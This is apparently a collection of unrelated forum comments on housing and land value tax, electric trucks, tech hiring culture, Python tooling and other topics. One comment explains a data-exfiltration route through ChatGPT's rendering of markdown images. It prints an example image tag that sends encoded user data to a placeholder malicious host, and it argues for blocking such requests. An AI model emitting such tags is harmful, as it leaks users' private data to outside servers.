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> Ok, so, I have a friend who works big tech and he has no chill for Indians (SWEs, PMs, etc). Is there a grain of truth to the “lazy Indian” trope?

Indian here. First generation, naturalized American, et cetera. I'll be honest and say that my initial response was, “Ugh! Your friend is a big old racist”.

Moving on from that reflexive thought, I'll attempt to answer your question of:

> I’m asking is there a perceptual issue due to some factor that’s obvious to the typical Nth-generation American?

Well, perhaps. There are a bunch of factors:

- The H1B program is terrible in that it ties your immigration status to your current employer. Couple this with the “you can be legally fired because your boss doesn't like the color of your shoes” climate in the US and you have a pretty stressed-out bunch of people.
- A lot of consulting companies seem to pay just enough wages that attract Indian H1B employees of a average to low caliber of talent, and hire them out for random software projects. The Americans on the other side of those contractors get mad at the contractors, who happen to be all Indian.
- There is a genuine cultural gap where Indians are more deferential to someone they perceive as having higher authority. It is sometimes possible that a young Indian employee might call you “Sir”, because that was how they addressed superiors.

So...all these are perceptual issues of the sort you are looking at. But honestly, these sorts of cultural misunderstandings are not exactly uncommon among Europeans and Americans as well. Big Tech tends to have far fewer of the issues above. Salaries are high (I don't even work in Big Tech and my salary as an H1B was verifiably higher than some of my American coworkers), and IMO there isn't a huge difference between Indians and the N other cultures that make up the boiling pot of tech.

But then that brings me to the part about “friend who works big tech and he has no chill for Indians”. Like, Indians period? What does he think about Sanjay Ghemawat? What about Vinod Khosla? How about Amit Patel, who came up with Google's “Don't Be Evil”? What about the engineers/PMs/etc. in big tech to whom those issues don't apply?

All of this leads me to conclude (this time after some reflection) that your friend is actually just a...big old racist if he has a problem with all Indians in general, especially those working in Big Tech.

Take from that what you will. Hope you find better friends :)
Great point. It's also much harder to service which is also true for phones. But we discard phones after a couple of years, cars should be serviceable for decades.
> If you can afford the rent for your home, you can afford to own it via a mortgage.

This does not follow. It assumes the landlord has the same cost basis and cashflow requirements as the person with the mortgage, which is almost never the case. Your mortgage interest payments alone can be higher than a rent that allows a landlord to make a profit. This is not uncommon. Rents in Seattle, for example, are far lower than the equivalent mortgage if you bought the place.
I haven't watched many of their YouTube, but I concur that Strong Towns knows what's up.

For anyone that doesn't know what a "stroad" is, I hope you look into it. You'll never see the world the same again.
That’s amazing. I’ve never heard such praise for LinkedIn unless it was a sponsored comment.
Sure, but that's not a bad thing. Plus, farmers still use it without using GMO resistant crops.
Those people don't listen to music, they consume background sound. I don't care if it sounds snob, that's how most people treat music.
It wasn't about building VS shipping. It was more the deployment maintenance and tech support wasn't the fun part. In addition to absurdly high api costs for what was supposed to be simple and low cost.
...the land value then drops. That drop is reflected in the cost of the LVT. A value is found that works for someone.
I am glad the Linux desktop is at a sufficient point in maturity where Ubuntu releases are not longer newsworthy for fixing some glaring flaw in user experience.
If/when there is any indication that they are designing their own or adding anything to or modifying the design, then that will warrant a comparison with companies that does that. At present, what they have done is buy an off the shelf kit that comes with parts and detailed instructions and followed the instructions.
Commented on other reply first... please see there.
There probably isn’t one for the same reason minivans in general are unpopular.

You could say the Model X is pretty close to being a minivan. Granted it’s nearly six figures in price.
That won’t help. The APi is broken. It returns a pointer.
Strings with a well defined meaning that is not being taken into consideration here beyond routing.
Did you try syncthing?
If there are 2 houses, the second guy no longer buys his vacation home for 500. This is actually what the situation is in the US. There are more houses than people, they’re just too expensive.
I misread and thought you wrote tracketeering - an apt term which I hereby coin!
For a long time it really was. The cost of living increases didn't eat up all the salary increases. I think even today it might still be the case, if you consider all of total comp (base, bonus, and stock), but not quite like they heyday of the last 10 years or so, when FAANG stock appreciation was so high that the stock award alone made it worthwhile.

If it's anywhere close to flat, as in all the extra wages are eaten up by cost of living increases (pretty easy to price this out with Zillow + tax calculator + nomadlist for daily expenses), it's not worth it IMO, because what you're doing is adding risk to your situation. What I mean by that is a lower cost of living is just less risky, because if you ever lose your job or need to go without work for some other reason (like when I needed to go home and help my parents for a while a few years back), lower fixed expenses make that easier.
They do exist, but yeah they are rare. Both Ableton Live and Reaper refuse to take outside investments or sell. The Live owners are famous for telling them to screw off. Major reason I use both of them. The music tech business is getting rocked by acquisitions recently.
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So you would like to give tax breaks for those who put their home on especially valuable plots of land? The more valuable, the more of a break they get. If they manage to reduce their assessed income more, they get more of a break, too.

Sounds a bit silly.

You could give people a UBI equivalent to the median's persons LVT tax take (or first quartile from the bottom etc). That way the poorer people get a net payment from the LVT system. And you don't need to sniff in people's personal lives to determine which residence is their primary residence (if any) nor what would be burdensome.
When a company isn't profitable you hire developers to build a product which can make you profitable. When a company is profitable, you fire all the developers and start collecting dividends.
> The land is ruined

And so the value of the land is less and the LVT drops along with it.

Of course for someone planning on putting another service station there maybe not...
I think what you're failing to understand is that Ford had a great legacy with the SVT F150 Lightning back in the 90s. For any car buff the "Lightning" moniker is a kind of rekindling of pushing the envelope back in the SVT days of Ford.

Now I'm not saying the electric Lightning has anything SVT-like about it in its current form. In fact I had to take a vehicle of mine to a Ford service center (which I avoid at all cost) a few times over the last few weeks to work out a random transmission bug with them and I was surprised at the number of Mach-E and Lightning there for service. But the Lightning was a great pedigree from days gone by and it's unfortunate the vehicle of today isn't really what he originally stood for [0].

I'm not sold on Ford's current entrants into the EV space. I think there are much better options for the money. Ford also let dealerships full on rip people off when they were hard to get. That, in itself, is inexcusable and they should be held accountable.

[0] https://horsepowermemories.com/2014/08/09/1993-1995-and-1999...
> Rent seeking is a clearly defined economic concept that is not related to the seperate concept of renting an asset to somebody.

It's called rent seeking because the thing you're seeking is rent ( https://en.wikipedia.org/wiki/Economic_rent - your link claims a false definition of the term).

> Renting an asset to somebody has a very obvious reciprocal consideration of value.

You could make the same argument for any of the classic examples of economic rents. A doctor's license or a taxi medallion is obviously economically valuable; that doesn't make it not a rent. The thing that makes it a rent is when you're able to rent it out for more than it cost you to produce, or when you don't produce it at all.
> I'll just keep renting, I guess, since it makes no difference.

There’s no way that the tax burden offsets the equity you would build by owning property vs renting.

95% of my mortgage payment goes toward paying down principal on the loan, which is essentially value I get to keep. Not to mention that my housing costs are much more fixed compared to rent.

Paying rent provides zero value retention in the long run, its only real benefit is flexibility.
Who has a better idea whether a lawyer or a surgeon is actually good at their job - their clients or their peers?
I don't think so. America is sending lots of weapons to Ukraine, but as far as I can tell, all or most are decades old. You could test new stuff by sending it to a war zone, but there's no guarantee it won't get captured and then you are really worse off. For the US, with decades of a lead in weapons systems, the tradeoff is not worth it.
> Only thing keeping me is audio wont work over HDMI/DisplayPort, but I totally understand they don't have time to fix all that hoopla.

What video card? I've got a half done patch for Intel that might help, a little. Some things are easyish; there's a flag I forget the details of that got audio devices to show up, in the likely event that boot time firmware didn't set things up properly. Some things are much harder; at least on haswell era intel video, audio and video clocks are linked, so the audio and video driver really need to communicate, but (when I was last looking at it) there's no plumbing for that in FreeBSD, and the video driver is imported from Linux anyway. Some things seem impossible; on the machine I using HDMI audio with, the audio device stops responding overnight and rebooting is the expedient way to get it back; there's probably something better, but I dunno.
>If anything, it will increase the amount of housing rented through landlords, because the land value tax will make it uneconomical for more people to own their own homes.

You do realize condominiums exist, right? You don't need to own an entire parcel of land to own your own home.
The point was that with the parent poster's method, every generation is potentially forced to move at all times.
How about a negative income tax? Sounds like it solves both our problems.
Thanks, that looks great, I'll see if they're in Australia yet.
Many people give the tube visualization. If you've been playing video games for a long time, you have another option: Consider the Asteroids game field: https://www.youtube.com/watch?v=_TKiRvGfw3Q . This is well known to be topologically a torus. There are no boundaries on this field, yet it is finite in both dimensions.

Note that while Asteroids itself has no equivalent to a "wave" in the game, you could imagine having a wave inside this space. Even though there is no boundary to this space, you can see how any stable wave would have to be related to the size of the space.

Now take the Asteroids playing field, and collapse one of the dimensions to be very small. Now you have a very small spatial dimension, even though it has no boundary. The waves that wrap around that dimension are confined even more tightly than before to certain wavelengths.

This still appeals to human intuitions; your "small" dimension is probably, say, 10 pixels. But you could keep shrinking it until it was microscopic, you just wouldn't be able to fit the game entities in it anymore.

Alternatively, you could expand the playing field into three dimensions, then shrink the third one down, though that requires a bit more geometrical intuition.

Either way you can see that the nature of that coordinate starts to change fairly significantly, and anything moving through it does not move the way you are used to because it wraps around so quickly.
About (1): that's no different from existing property taxes, isn't it? How does an LVT increase the likelihood here?

About (2): LVT has no incentives or disincentives for how you use your land. It's entirely up to you, your tax is the same no matter what you do with the land. That's why an LVT is economically efficient: it doesn't mess with market allocation or land use.

Why would green space be reduced? If green space is the best use of a given plot of land right now, an LVT doesn't change any of the incentives nor opportunity costs at all. (Also keep in mind that many green spaces are zoned exclusively as such. LVT doesn't influence zoning.)
If the goal was zero communication, sure. But if the goal is to have communication without too much overhead, the overhead needs to be streamlined.
For now, yes, a bit more.
Yeah, this is my assumption. According to a quick Google search, the battery alone costs as much as a new ICE F-150 (~$35K per Google). I've got to think that a minimalist F-150 lightning would still cost at least $60K and there probably isn't a very big market for people who are willing to pay almost double just to have an electric truck. The bells and whistles help to make the thing compelling.
There are 2 errno mistakes in that snippet since there is no way to know who set errno.
Silicon Valley used to have engineering managers who managed engineering.

As the money got bigger we got more grifters / professional manager types. First thing they do is rebrand middle management as “leaders” and the other thing they do is make management non technical.

This has even bled into making higher level IC engineering roles being “above” coding. “Staff engineers don’t code, they set high level architecture “.

This is toxic to an engineering org in many ways. Firstly you now have a bunch of highly paid technical employees completely removed from how things actually work. But what’s worse is you created a culture where you’re incentived to follow - a senior engineer who wants to get promoted should write less code because coding is associated with being a low level employee.

The fundamental root cause is a misunderstanding of code as low level factory work and not intrinsically tied to the design and architecture. But it’s one of many ways in which traditional business structures and software engineering do not mesh and you need an extremely strong engineering leader to keep software culture on track, which very few organizations have.
Not to denigrate the person you’re responding to, but to add some context: That paper got a decent amount of attention already. Probably one of the more notable in the literature over the last month. Plus compared to the past year everything is slow now.
The URL request is the browser request for the URL placed in the src tag of the image. The exfiltration technique is an image request. What the server returns as a response to that request doesn't matter. It doesn't even need to return anything at all.

If remote images were blocked from markdown as they are in many other applications, the URL request would not be made by the browser. The mitigation is that ChatGPT should refuse to render image tags or make requests for images if given a 3rd-party URL. I'm not sure if we're talking past each other or what, but I'm not talking about whether the server returns an image. I'm saying, ChatGPT will request an image from an external domain as part of rendering markdown during a conversation, and that GET request can be used as an exfiltration method.

The response from the server has nothing to do with it. I'm talking about the fact that ChatGPT will request arbitrary URLs without user input if the URLs are formatted in a markdown block as an image src.

ChatGPT is rendering this:

<img src="https://malicious-url/?sensitive-user-data-encoded" />

And it should instead when encountering a URL for a 3rd-party domain render this:

<img src="" />
Hah, it's just the one track "Hazer" that goes full grindcore, the rest of the album is a bit more... hard-mode in a Japanese rhythm game if it was super-distorted hyperpop.
Saving you a click:

> sleep is most efficient and restful for older adults when nighttime ambient temperatures range from 68 degrees Fahrenheit to 77 degrees.

(Which matches my personal observation: 68F is perfect, just cool enough to snuggle under the covers and fall into a pretty nice sleep)
> so there's something else going on there

Cloudflare free tier as a CDN. They're on the record about why they do it- mainly, it generates large sales leads, makes it easier to hire, and provides them a community of willing QA testers for new features.

Hosting costs for a small website are literally pennies a month if your content can be cached. Plenty of truly free origin hosts available. GitHub Pages is a popular ine.

> You're paying for PayPal on their margin

So? Bandcamp charges 15% for small artists.
Well it's two problems: the monetization of non money assets and the artificial housing shortage to encourage housing as an investment vehicle. A significant percentage of property investment is simply hedging against inflation. Even someone speculating is doing so to a large degree.

So the other fundamental problem is that it is impossible to save money because it is constantly being debased.
Yes, they are more expensive than motors. The F-150 Lightning has ~100kWh of capacity, and last time I looked it up, batteries cost the manufacturer ~$140/kWh, so, $14,000 in batteries. I don't know what the motor costs, but if they're selling for $35k, I can't imagine the motor costs $14,000. Probably a lot less than this.
What's keeping you using `python-lsp-ruff` instead of using ruff's own language server?
You really don’t need a ton of staff dedicated to those things in a 100 person company. This is still a small business by most measures. A C Suite? It could be a sole owner still at that size, though it is stretching the margins. Roles tend to be less differentiated in small companies, and many of those functions are filled informally.

That being said, 118 still sounds pretty lean for the scale they are operating at.
> right but if this is my only piece of land where I live on, I am "the people". I need to live somewhere, I have no choice. It's like asking a prisoner to pay weekly tax for the cell he lives on: He has no choice, he has to live in some cell. Instead tax it intelligently so that I'm exempt for my first and only house on a moderately sized piece of land.

We all need to live somewhere bruh, you're not special. If you pick a piece of land that no-one else wants, you'll be paying zero or very close to it. But if you want your "first and only house" in the middle of Manhattan, either you pay a fair tax to compensate the rest of us for the valuable land you're taking out of public circulation, or you let someone else have their go.
I can't understand people using SponsorBlock. Basically you want people creating videos for free?
F-150 Lightning has no transmission and uses vastly simpler motors instead of an engine. The drive train is also a lot simpler.
It was just ellipsoids. I don’t know if any game specifically used Gaussians. But, the idea of splatting points, Gaussians, ellipsoids and a variety of other shapes has been around for at least 20 years.

The novelty of the paper was in using the differentiability of Gaussians to enable fitting splats to incrementally match all of the target photos simultaneously. So, it’s a new way to generate the splats from photos rather than modeling them by hand.
I'm being a little facetious but I really would like to know how 700K actually gets spent line by the line, here.
100% yes please. They have so much room and height, good visibilty, and aren’t built like tanks to mow down pedestrians, cyclists and other vehicals.
I’ve been meaning to find time to get ruff-lap working on Doom Emacs side by side with pyright. Is anyone who’s already managed to get it working willing to share their config?
> Porsche, regarded by many as having the best-engineered sports cars in the world, didn't have a fully in-house design until 1978 (almost 50 years after founding).

Ferdinand Porsche also founded VW so that’s a bit misleading, perhaps even intentionally so. Also the German economic system pretty much kept the good parts of fascism after the war, by requiring companies to work cooperatively both with their workers’ councils and each other.
And in fact your mortgage would almost certainly be less than the rent for the same property, since the landlord will be using commercial financing which costs more, and will be paying taxes as a non-resident owner, which are higher. The landlord will also need to buy commercial property and liability insurance, which costs more.

Your residential mortgage will be at a lower rate and you will have property tax exemptions if the property is your primary residence and your insurance will be cheaper.
A beartrap/footgun means "a bit too easy to harm yourself for comfort", not "there is a bug". I am relatively old and have been programming to this interface for a few decades, so I'm not hyperventilating about it.

My point (which made reference to the actual OS documentation) was that it takes being bit by such issues before you learn what this "Attributes" section means:

> │Interface │ Attribute │ Value │

> │getaddrinfo() │ Thread safety │ MT-Safe env locale │

For the 1st decade of my career, I just searched for "re-entrant", "reentrant", or "MT" and went on my merry way, without realizing the importance of the other possible values of attributes table: in this case "env".

It's worth highlighting!
I took his Build a Compiler in Python course, and I honestly found it to be lackluster.

He had just changed the format, though, and our class was his first of a new wave where he supplied us with no example code, instead making us write it all out by hand.

By the end of the five-day course, virtually no one had a working toy compiler of any kind. Maybe a parser and AST representation, but not the whole shebang.

His style of teaching is not as compelling as his live, on-stage presentations, in my opinion.

If I had paid with my own money, I would've been pissed. Caveat emptor.
TikTok was able to grow by putting ads on properties like YouTube. Internet giants don't stop you from advertising your own platform.
I’m not much on social media as it is (HN is about the only one left that I still visit regularly), but even when I was doing _some_ social media, it was Twitter and _rarely_ Facebook, but never LinkedIn. Not for years.

The last time I probably used LinkedIn for anything was networking some when I changed jobs (almost 10 years ago). Unless you hop jobs a lot, I just don’t see how it adds any value.
The manifesto comes from a guy whose business model for the past 3 years was grifting people into the NFT hype, so either he's just another conman selling a vision or a megalomaniac completely lacking self-awareness.
Ruff ls doesn't have code formatting.